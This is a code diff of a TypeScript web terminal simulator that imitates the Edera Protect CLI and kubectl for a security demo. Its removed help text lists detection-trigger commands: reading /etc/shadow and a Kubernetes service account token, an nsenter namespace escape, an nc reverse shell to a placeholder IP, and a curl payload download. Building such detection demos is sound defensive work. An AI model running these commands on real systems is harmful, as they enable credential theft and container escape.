to use + [COMMAND]... Command to run the workload + +Options: + --image-format Image format [default: squashfs] [possible values: squashfs] + --pull-overwrite-cache Overwrite image cache on pull + --pull-update Update image on pull + -n, --name Name of the workload + -W, --wait Wait for the workload to be started + -t, --tty Allocate tty for the workload + --enable-spire-access Mount the SPIRE agent's Workload API socket into the workload + --enable-identity Have the zone agent fetch this workload's SVID + --ocap-priority Preference weight for a published capability + -z, --zone Zone to launch the workload in + -h, --help Print help`, + + "workload exec": `Execute a command inside the workload + +Usage: protect workload exec [OPTIONS] [COMMAND]... + +Arguments: + Workload to exec inside, either the name or the uuid + [COMMAND] Command to run inside the zone + +Options: + -t, --tty Allocate tty for the workload + -h, --help Print help`, + + "workload attach": `Attach to a workload console + +Usage: protect workload attach + +Arguments: + Workload to attach to + +Options: + -h, --help Print help`, + + "workload resolve": `Resolve a workload name to matching workload ids + +Usage: protect workload resolve [OPTIONS] + +Arguments: + The workload name to resolve + +Options: + -f, --first If there are multiple matching workloads, only print the first workload id + -h, --help Print help`, + + "workload start": `Start a workload + +Usage: protect workload start + +Arguments: + Workload to start + +Options: + -h, --help Print help`, + + "workload stop": `Stop a workload + +Usage: protect workload stop + +Options: + -h, --help Print help`, + + "workload destroy": `Destroy a workload + +Usage: protect workload destroy [OPTIONS] + +Options: + -W, --wait Wait for the workload to be destroyed + -h, --help Print help`, + + "workload list": `List workload information + +Usage: protect workload list [OPTIONS] + +Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "workload watch": `Watch for workload changes + +Usage: protect workload watch + +Options: + -h, --help Print help`, + + "image": `Manage the images on Edera Protect + +Usage: protect image + +Commands: + pull Pull an image into the cache + import Import an image into the cache + remove Remove an image from the cache + list List cached images + list-kernel-variants List the named kernel variants the daemon can resolve + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "image pull": `Pull an image into the cache + +Usage: protect image pull [OPTIONS] + +Arguments: + Image name + +Options: + -s, --image-format Image format [default: squashfs] [possible values: squashfs, tar, directory] + -n, --no-update Don't update from registry + -o, --overwrite-cache Overwrite image cache + -U, --username Auth username + -P, --password Auth registry password + -T, --registry-token + Auth registry token + --identity-token Auth identity token + -h, --help Print help`, + + "image import": `Import an image into the cache + +Usage: protect image import [OPTIONS] --digest --image + +Options: + --digest Image digest + --image Image reference + -h, --help Print help`, + + "image remove": `Remove an image from the cache + +Usage: protect image remove + +Arguments: + Image reference or digest + +Options: + -h, --help Print help`, + + "image list": `List cached images + +Usage: protect image list [OPTIONS] + +Options: + -o, --output Output format [default: table] + [possible values: table, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "image list-kernel-variants": `List the named kernel variants the daemon can resolve + +Usage: protect image list-kernel-variants + +Options: + -h, --help Print help`, + + "network": `Manage the network on Edera Protect + +Usage: protect network + +Commands: + reservation Manage network reservations + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "network reservation": `Manage network reservations + +Usage: protect network reservation + +Commands: + create Create network reservation + destroy Destroy network reservation + list List network reservation information + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "network reservation create": `Create network reservation + +Usage: protect network reservation create + +Options: + -h, --help Print help`, + + "network reservation destroy": `Destroy network reservation + +Usage: protect network reservation destroy + +Arguments: + Reservation to destroy + +Options: + -h, --help Print help`, + + "network reservation list": `List network reservation information + +Usage: protect network reservation list [OPTIONS] + +Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "device": `Manage the devices on Edera Protect + +Usage: protect device + +Commands: + list List device information + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "device list": `List device information + +Usage: protect device list [OPTIONS] + +Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "host": `Manage the host of Edera Protect + +Usage: protect host + +Commands: + cpu-topology Display information about the host CPU topology + resources Get aggregate memory, CPU, and topology resources of the host + status Get information about the host + control-snoop Snoop on the Control API + idm-snoop Snoop on the IDM bus + hv-console Display hypervisor console output + hv-debug-info Read hypervisor debug information + hv-zone-details Display per-domain memory and resource usage from the hypervisor + spire-start Launch a SPIRE server zone (the daemon runs the server using its [spire] config) + help Print this message or the help of the given subcommand(s) + +Options: + -h, --help Print help`, + + "host cpu-topology": `Display information about the host CPU topology + +Usage: protect host cpu-topology [OPTIONS] + +Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value] + -h, --help Print help`, + + "host resources": `Get aggregate memory, CPU, and topology resources of the host + +Usage: protect host resources [OPTIONS] + +Options: + -o, --output Output format [default: simple] + [possible values: simple, table, tree, json, json-pretty, yaml, key-value, simple] + -h, --help Print help`, + + "host status": `Get information about the host + +Usage: protect host status [OPTIONS] + +Options: + -o, --output Output format [default: simple] + [possible values: simple, table, tree, json, json-pretty, yaml, key-value, simple] + -h, --help Print help`, + + "host control-snoop": `Snoop on the Control API + +Usage: protect host control-snoop [OPTIONS] + +Options: + -o, --output Output format [default: simple] + [possible values: simple, table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + --filter-internals Filters out user agents matching edera-protect-*, excluding the CLI + -h, --help Print help`, + + "host idm-snoop": `Snoop on the IDM bus + +Usage: protect host idm-snoop [OPTIONS] + +Options: + -o, --output Output format [default: simple] + [possible values: simple, table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "host hv-console": `Display hypervisor console output + +Usage: protect host hv-console + +Options: + -h, --help Print help`, + + "host hv-debug-info": `Read hypervisor debug information + +Usage: protect host hv-debug-info + +Options: + -h, --help Print help`, + + "host hv-zone-details": `Display per-domain memory and resource usage from the hypervisor + +Usage: protect host hv-zone-details [OPTIONS] + +Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, + + "host spire-start": `Launch a SPIRE server zone (the daemon runs the server using its [spire] config) + +Usage: protect host spire-start [OPTIONS] + +Options: + --pull-overwrite-cache + --pull-update + -n, --name + --min-cpus Minimum vCPUs available for the zone [default: 4] + -C, --max-cpus Maximum vCPUs available for the zone [default: 4] + -c, --target-cpus + Target vCPUs for the zone to use [default: 1] + --cpus-hard-affinity + --cpus-soft-affinity + -h, --help Print help`, -
- protect workload exec llm-app cat /etc/shadow - Trigger Edera Sensitive File Read (WARNING). -
+ "object-capability": `Inspect and use object capabilities -
- protect workload exec llm-app nsenter -t 1 -m -u -i -n -p - Trigger Edera Namespace Escape Attempt (CRITICAL). -
+Usage: protect object-capability -
- protect workload exec llm-app nc 203.0.113.10 4444 - Trigger Edera Reverse Shell Tool (CRITICAL). -
+Commands: + list List published object capabilities + help Print this message or the help of the given subcommand(s) -
- protect workload exec llm-app curl https://example.com/payload - Trigger Edera Outbound Connection and Executable Download detections. -
+Options: + -h, --help Print help`, -
- protect workload exec llm-app /bin/sh -c "id" - Trigger Edera Shell Command Execution (NOTICE); plain /bin/sh remains non-detecting. -
+ "object-capability list": `List published object capabilities -
- protect workload exec llm-app sudo id - Trigger Edera Privilege Escalation Tool (WARNING). -
+Usage: protect object-capability list [OPTIONS] -
- protect workload exec llm-app cat /var/run/secrets/kubernetes.io/serviceaccount/token - Trigger Edera Kubernetes Service Account Access (WARNING). -
+Options: + -o, --output Output format [default: table] + [possible values: table, tree, json, json-pretty, jsonl, yaml, key-value, simple] + -h, --help Print help`, -
- protect workload exec llm-app /bin/sh -c "echo demo > /etc/demo.conf" - Trigger Edera Sensitive File Write (WARNING). -
- + "completion": `Output shell completion code for the specified shell - - `; +Usage: protect completion + +Arguments: + [possible values: bash, elvish, fish, powershell, zsh] + +Options: + -h, --help Print help`, + }; + + const key = path.join(" "); + return help[key] ?? help[""]; }; - const formatProtectHelpText = () => { + // The original rich, interactive help is intentionally preserved. It is + // available as `protect demo-help`, while the normal help flags mirror the + // real Edera Protect CLI hierarchy. + const formatProtectDemoHelpText = () => { return `
@@ -2571,135 +3861,42 @@ vfio_pci`;
Zones
- -
- protect zone launch -n <name> [options] - Create a new isolated Edera zone. -
- -
- protect zone list [ZONE] [--output json-pretty] - List Edera zones, or inspect one zone with JSON output. -
- -
- protect zone watch - Watch simulated zone state changes in real time. -
- -
- protect zone destroy [OPTIONS] <ZONE> - Destroy a zone by name or UUID. -
- -
- -W, --wait - Wait for the destruction of the zone to complete. -
- -
- -A, --all - Destroy all zones matching the input. -
- -
- -l, --selector <SELECTOR> - Filter matches using the status.state field. -
+
protect zone launch -n <name> [options]Create a new isolated Edera zone.
+
protect zone list [ZONE] [--output json-pretty]List Edera zones, or inspect one zone with JSON output.
+
protect zone watchWatch simulated zone state changes in real time.
+
protect zone destroy [OPTIONS] <ZONE>Destroy a zone by name or UUID.
+
-W, --waitWait for the destruction of the zone to complete.
+
-A, --allDestroy all zones matching the input.
+
-l, --selector <SELECTOR>Filter matches using the status.state field.
Workloads
- -
- protect workload launch --zone <zone> --name <name> <image> [command] - Start a workload inside an existing ready zone. -
- -
- protect workload list [--selector status.state=running] - List workloads and optionally filter them by state. -
- -
- protect workload stop <workload> - Stop a running workload. -
- -
- protect workload start <workload> - Start a stopped workload. -
- -
- protect workload exec <workload> <command> - Execute a command inside a running workload. -
- -
- protect workload destroy <workload> --wait - Remove a workload from its Edera zone. -
- -
- protect zone logs <zone> - Show simulated zone boot and NVIDIA driver logs. -
- -
- protect image list [--output json-pretty] - List cached container images. -
- -
- protect image pull [--overwrite-cache] <image> - Pull an image into the local cache. -
- -
- protect image remove <digest> - Remove a cached image by digest. -
- -
- protect image list-kernel-variants - List configured zone kernel variants and their resolved images. -
+
protect workload launch --zone <zone> --name <name> <image> [command]Start a workload inside an existing ready zone.
+
protect workload list [--selector status.state=running]List workloads and optionally filter them by state.
+
protect workload stop <workload>Stop a running workload.
+
protect workload start <workload>Start a stopped workload.
+
protect workload exec <workload> <command>Execute a command inside a running workload.
+
protect workload destroy <workload> --waitRemove a workload from its Edera zone.
+
protect zone logs <zone>Show simulated zone boot and NVIDIA driver logs.
+
protect image list [--output json-pretty]List cached container images.
+
protect image pull [--overwrite-cache] <image>Pull an image into the local cache.
+
protect image remove <digest>Remove a cached image by digest.
+
protect image list-kernel-variantsList configured zone kernel variants and their resolved images.
GPU passthrough
- -
- --device gpu0 - Attach the GPU named gpu0 in daemon.toml to a zone. -
- -
- --kernel-variant nvidia - Launch the NVIDIA-enabled zone kernel variant. -
- -
- protect workload exec <workload> nvidia-smi - Verify Tesla T4 access from inside a GPU workload. -
+
--device gpu0Attach the GPU named gpu0 in daemon.toml to a zone.
+
--kernel-variant nvidiaLaunch the NVIDIA-enabled zone kernel variant.
+
protect workload exec <workload> nvidia-smiVerify Tesla T4 access from inside a GPU workload.
Help
- -
- protect --help - Show this command reference. -
- -
- protect -h - Alias for protect --help. -
+
protect --helpShow the real Edera Protect CLI help.
+
protect demo-helpShow this richer Webernetes demonstration reference.
-
`; }; @@ -2711,21 +3908,6 @@ vfio_pci`; return equalsToken ? equalsToken.split("=").slice(1).join("=") : "table"; }; - const renderProtectZoneJson = (zones: ProtectZone[], pretty = false) => { - const payload = { - zones: zones.map((zone) => ({ - name: zone.name, - id: zone.uuid, - state: zone.state, - resources: { cpus: zone.targetCpus, memory: `${zone.maxCpus * 512}MB` }, - ipv4: zone.ipv4, - ipv6: zone.ipv6, - ...(zone.kernelVariant ? { kernelVariant: zone.kernelVariant } : {}), - })), - }; - printPre(escapeHtml(JSON.stringify(payload, null, pretty ? 2 : 0))); - }; - const renderProtectWorkloadJson = (workloads: ProtectWorkload[], pretty = false) => { const payload = { workloads: workloads.map((workload) => ({ @@ -2815,16 +3997,37 @@ vfio_pci`; if (tokens[0] !== "protect") { return false; } - if ( - tokens.length === 1 || - tokens[1] === "--help" || - tokens[1] === "-h" - ) { - printHtml(formatProtectHelpText()); + // Mirror the real Edera CLI's help routing. `protect`, `protect -h`, + // and `protect --help` all show the authentic top-level help. A help + // flag after a command shows that command's corresponding help page. + const helpIndex = tokens.findIndex( + (token, index) => index > 0 && (token === "--help" || token === "-h"), + ); + if (tokens.length === 1 || helpIndex >= 0) { + const helpPath = tokens.slice(1, helpIndex >= 0 ? helpIndex : tokens.length); + printPre(escapeHtml(formatProtectCliHelp(helpPath))); + return true; + } + + // Preserve the original rich demonstration help without making it the + // canonical CLI help output. + if (tokens[1] === "demo-help") { + printHtml(formatProtectDemoHelpText()); + return true; + } + // `help` is a real clap subcommand. `protect help ` behaves like + // asking for --help on that command. + if (tokens[1] === "help") { + printPre(escapeHtml(formatProtectCliHelp(tokens.slice(2)))); return true; } + if (tokens[1] === "ocap") { + tokens = [...tokens]; + tokens[1] = "object-capability"; + } + if (tokens[1] === "image") { if (tokens[2] === "list") { const output = parseProtectOutputFormat(tokens); @@ -2915,29 +4118,44 @@ vfio_pci`; return true; } - if (zone.name !== "zone-gpu" || zone.kernelVariant !== "nvidia") { - printHtml( - `No NVIDIA driver logs are available for zone "${escapeHtml( - zone.name, - )}".`, + // The reference terminal exposes normal zone boot/runtime logs for a + // regular zone when --follow is used. Preserve the existing NVIDIA + // behavior for the GPU demo zone, but provide the reference-style IDM + // and memory-pressure logs for ordinary zones as well. + const follows = tokens.includes("--follow") || tokens.includes("-f"); + + if (zone.name === "zone-gpu" && zone.kernelVariant === "nvidia") { + printPre( + `${escapeHtml( + NVIDIA_ZONE_LOGS, + )}`, + ); + + addEvent( + "Normal", + "NvidiaDriverVerified", + `zone/${zone.name}`, + "NVIDIA driver initialized successfully", ); + + markDemoStepComplete("gpu-zone-logs"); return true; } printPre( `${escapeHtml( - NVIDIA_ZONE_LOGS, + PROTECT_ZONE_BOOT_LOGS, )}`, ); - addEvent( - "Normal", - "NvidiaDriverVerified", - `zone/${zone.name}`, - "NVIDIA driver initialized successfully", - ); + if (follows) { + printHtml( + `Following logs for zone "${escapeHtml( + zone.name, + )}" (simulated).`, + ); + } - markDemoStepComplete("gpu-zone-logs"); return true; } @@ -2962,6 +4180,11 @@ vfio_pci`; for (let i = 3; i < tokens.length; i++) { if (tokens[i] === "--selector" || tokens[i] === "-l") selector = tokens[++i] || ""; else if (tokens[i].startsWith("--selector=")) selector = tokens[i].slice(11); + // `-o`/`--output` takes a value. Without skipping it the format name + // was picked up as a positional zone identifier, so `--output yaml` + // filtered the list down to a zone literally named "yaml" and + // printed nothing. + else if (tokens[i] === "-o" || tokens[i] === "--output") i++; else if (!tokens[i].startsWith("-") && !identifier) identifier = tokens[i]; } let zones = identifier ? protectZones.filter((zone) => zone.name === identifier || zone.uuid === identifier) : [...protectZones]; @@ -2975,13 +4198,7 @@ vfio_pci`; zones = zones.filter((zone) => zone.state === state); } const output = parseProtectOutputFormat(tokens); - if (output === "json" || output === "json-pretty") { - renderProtectZoneJson(zones, output === "json-pretty"); - } else if (output === "jsonl") { - printPre(zones.map((zone) => escapeHtml(JSON.stringify({ name: zone.name, id: zone.uuid, state: zone.state }))).join("\n")); - } else { - renderProtectZoneList(zones); - } + renderProtectZoneOutput(zones, output); const hasDestroyedZone = protectZones.some( (zone) => zone.state === "destroyed", @@ -3320,25 +4537,132 @@ vfio_pci`; if (tokens[1] === "host") { const subcommand = tokens[2]; if (subcommand === "status") { - printPre(`protect-daemon active (running) -zones ${protectZones.filter((zone) => zone.state !== "destroyed").length} -workloads ${protectWorkloads.filter((workload) => workload.state !== "destroyed").length}`); + const host = PROTECT_HOST_STATUS; + const output = parseProtectOutputFormat(tokens); + + // `protect host status` is host information. It should not be replaced + // with a summary of the simulated daemon/zones/workloads; those are + // separate resources in the Protect CLI. + const simple = [ + `Host UUID: ${host.uuid}`, + `Host Domain: ${host.domain}`, + `Protect Version: ${host.version}`, + `Protect built from branch: ${host.branch}`, + `Protect last tag: ${host.lastTag}`, + `Protect revisions since tag: ${host.revisionsSinceTag}`, + `Protect git SHA-1: ${host.gitSha1}`, + `Host IPv4: ${host.ipv4}`, + `Host IPv6: ${host.ipv6}`, + `Host Ethernet Address: ${host.ethernetAddress}`, + `Hypervisor Free Memory: ${host.hypervisorFreeMemory} (${host.hypervisorFreeMemoryMiB} MiB)`, + ].join("\n"); + + if (output === "json" || output === "json-pretty") { + const payload = { + hostUuid: host.uuid, + hostDomain: host.domain, + protectVersion: host.version, + protectBuiltFromBranch: host.branch, + protectLastTag: host.lastTag, + protectRevisionsSinceTag: host.revisionsSinceTag, + protectGitSha1: host.gitSha1, + hostIpv4: host.ipv4, + hostIpv6: host.ipv6, + hostEthernetAddress: host.ethernetAddress, + hypervisorFreeMemory: host.hypervisorFreeMemory, + hypervisorFreeMemoryMiB: host.hypervisorFreeMemoryMiB, + }; + printPre( + escapeHtml( + JSON.stringify(payload, null, output === "json-pretty" ? 2 : 0), + ), + ); + return true; + } + + if (output === "yaml") { + const yaml = [ + `hostUuid: ${host.uuid}`, + `hostDomain: ${host.domain}`, + `protectVersion: ${host.version}`, + `protectBuiltFromBranch: ${host.branch}`, + `protectLastTag: ${host.lastTag}`, + `protectRevisionsSinceTag: ${host.revisionsSinceTag}`, + `protectGitSha1: ${host.gitSha1}`, + `hostIpv4: ${host.ipv4}`, + `hostIpv6: ${host.ipv6}`, + `hostEthernetAddress: ${host.ethernetAddress}`, + `hypervisorFreeMemory: ${host.hypervisorFreeMemory}`, + `hypervisorFreeMemoryMiB: ${host.hypervisorFreeMemoryMiB}`, + ].join("\n"); + printPre(`${escapeHtml(yaml)}`); + return true; + } + + if (output === "key-value") { + const keyValue = [ + `hostUuid=${host.uuid}`, + `hostDomain=${host.domain}`, + `protectVersion=${host.version}`, + `protectBuiltFromBranch=${host.branch}`, + `protectLastTag=${host.lastTag}`, + `protectRevisionsSinceTag=${host.revisionsSinceTag}`, + `protectGitSha1=${host.gitSha1}`, + `hostIpv4=${host.ipv4}`, + `hostIpv6=${host.ipv6}`, + `hostEthernetAddress=${host.ethernetAddress}`, + `hypervisorFreeMemory=${host.hypervisorFreeMemory}`, + `hypervisorFreeMemoryMiB=${host.hypervisorFreeMemoryMiB}`, + ].join("\n"); + printPre(`${escapeHtml(keyValue)}`); + return true; + } + + // The default `simple` output is the format shown by the real terminal. + // `table` and `tree` are accepted by the CLI help but do not add useful + // structure to this flat host-status record, so they use the same data. + printPre(`${escapeHtml(simple)}`); return true; } if (subcommand === "cpu-topology") { - printPre(`CPU TOPOLOGY -Sockets: 1 -Cores: 4 -Threads: 8 + const output = parseProtectOutputFormat(tokens); + + if (output === "json" || output === "json-pretty") { + const topology = { + sockets: 1, + cores: 1, + threads: 2, + cpus: [ + { id: 0, node: 0, socket: 0, core: 0, thread: 0, class: "Standard" }, + { id: 1, node: 0, socket: 0, core: 0, thread: 1, class: "Standard" }, + ], + }; + printPre( + escapeHtml( + JSON.stringify(topology, null, output === "json-pretty" ? 2 : 0), + ), + ); + return true; + } -0 1 2 3 4 5 6 7`); + printPre( + `CPU TOPOLOGY\n${escapeHtml( + PROTECT_CPU_TOPOLOGY, + )}`, + ); return true; } + if (subcommand === "hv-debug-info") { - printPre(`Hypervisor: simulated-kvm -Edera isolation: enabled -Zones: ${protectZones.filter((zone) => zone.state !== "destroyed").length} -Kernel isolation: enabled`); + // The real command returns the hypervisor/Xen debug structure as JSON, + // rather than a short daemon summary. Keep the same top-level shape and + // populate the simulated domains from the zones currently in Webernetes. + const hvDebugInfo = buildProtectHvDebugInfo(); + printPre( + `${escapeHtml( + JSON.stringify(hvDebugInfo), + )}`, + ); return true; } printHtml(`Unknown protect host command: ${escapeHtml(tokens.slice(2).join(" "))}`); @@ -3346,7 +4670,7 @@ Kernel isolation: enabled`); } printHtml( - `Unknown protect command. Type "protect --help".`, + `Unknown protect command. Type "protect --help". For the interactive Webernetes reference, use "protect demo-help".`, ); return true; @@ -3970,14 +5294,22 @@ Kernel isolation: enabled`); } if (tokens[1] === "describe") { const resource = tokens[2]; - const name = tokens[3]; let requestedNamespace = "default"; + let name = ""; - for (let i = 4; i < tokens.length; i++) { + // kubectl accepts namespace flags before or after the resource name, e.g. + // `kubectl describe pod -n falco falco-edera-node-7d8f9` and + // `kubectl describe pod falco-edera-node-7d8f9 -n falco`. + // Find the first positional argument after the resource while consuming + // namespace flag values so the simulated command behaves the same way. + for (let i = 3; i < tokens.length; i++) { if (tokens[i] === "-n" || tokens[i] === "--namespace") { requestedNamespace = tokens[++i] || requestedNamespace; } else if (tokens[i].startsWith("--namespace=")) { requestedNamespace = tokens[i].split("=")[1] || requestedNamespace; + } else if (!tokens[i].startsWith("-")) { + name = tokens[i]; + break; } } @@ -3990,7 +5322,8 @@ Kernel isolation: enabled`); if (resource === "pod" || resource === "pods") { const pod = pods.find( - (item) => item.name === name && item.namespace === "default", + (item) => + item.name === name && item.namespace === requestedNamespace, ); if (!pod) { @@ -4513,6 +5846,10 @@ Kernel isolation: enabled`); printPre(html.trimEnd()); + if (namespaceFilter === "falco" && filtered.some((pod) => pod.namespace === "falco")) { + markDemoStepComplete("falco-pods"); + } + return true; } @@ -5141,12 +6478,34 @@ Kernel isolation: enabled`); (tokens[2] === "pod" || tokens[2] === "pods") ) { - const podName = tokens[3]; + let requestedNamespace = "default"; + let podName = ""; + + // kubectl accepts namespace flags before or after the pod name: + // `kubectl delete pod -n falco ` + // `kubectl delete pod -n falco` + for (let i = 3; i < tokens.length; i++) { + if (tokens[i] === "-n" || tokens[i] === "--namespace") { + requestedNamespace = tokens[++i] || requestedNamespace; + } else if (tokens[i].startsWith("--namespace=")) { + requestedNamespace = + tokens[i].split("=")[1] || requestedNamespace; + } else if (!tokens[i].startsWith("-") && !podName) { + podName = tokens[i]; + } + } + + if (!podName) { + printHtml( + `Usage: kubectl delete pod [-n namespace]`, + ); + return true; + } const index = pods.findIndex( (pod) => pod.name === podName && - pod.namespace === "default", + pod.namespace === requestedNamespace, ); if (index === -1) { @@ -6024,15 +7383,6 @@ Kernel isolation: enabled`); return; } if (tokens[0] === "kubectl") { - if (tokens[1] === "get" && tokens[2] === "pods" && tokens.includes("-n") && tokens[tokens.indexOf("-n") + 1] === "falco") { - printPre( - `NAME READY STATUS RESTARTS AGE -falco-edera-node-7d8f9 1/1 Running 0 2m`, - ); - markDemoStepComplete("falco-pods"); - return; - } - if (tokens[1] === "logs" && tokens.includes("-n") && tokens[tokens.indexOf("-n") + 1] === "falco") { falcoInstalled = true; falcoRunning = true; @@ -6052,71 +7402,6 @@ falco-edera-node-7d8f9 1/1 Running 0 2m` return; } } - if (tokens[0] === "curl") { - const url = rawCmd - .replace(/^curl\s+/, "") - .trim(); - - if (!isSimulatedCurlTarget(url)) { - printHtml( - `curl: (6) Could not resolve host: this demo terminal only reaches the simulated cluster; external requests are disabled.`, - ); - - addEvent( - "Warning", - "HttpBlocked", - "curl", - `Blocked external request: ${url}`, - ); - - return; - } - - addEvent( - "Info", - "HttpRequest", - "curl", - `GET ${url}`, - ); - - try { - const response: any = - await cluster.fetch(url); - - const text = - typeof response?.text === "function" - ? await response.text() - : response?.body || response; - - printHtml( - `${escapeHtml( - String(text), - )}`, - ); - - addEvent( - "Normal", - "HttpResponse", - "curl", - `200 OK from ${url}`, - ); - } catch (error: any) { - printHtml( - `curl: (7) Failed to connect: ${escapeHtml( - error?.message || String(error), - )}`, - ); - - addEvent( - "Warning", - "HttpError", - "curl", - `Connection failed`, - ); - } - - return; - } printHtml( `command not found: ${escapeHtml( rawCmd,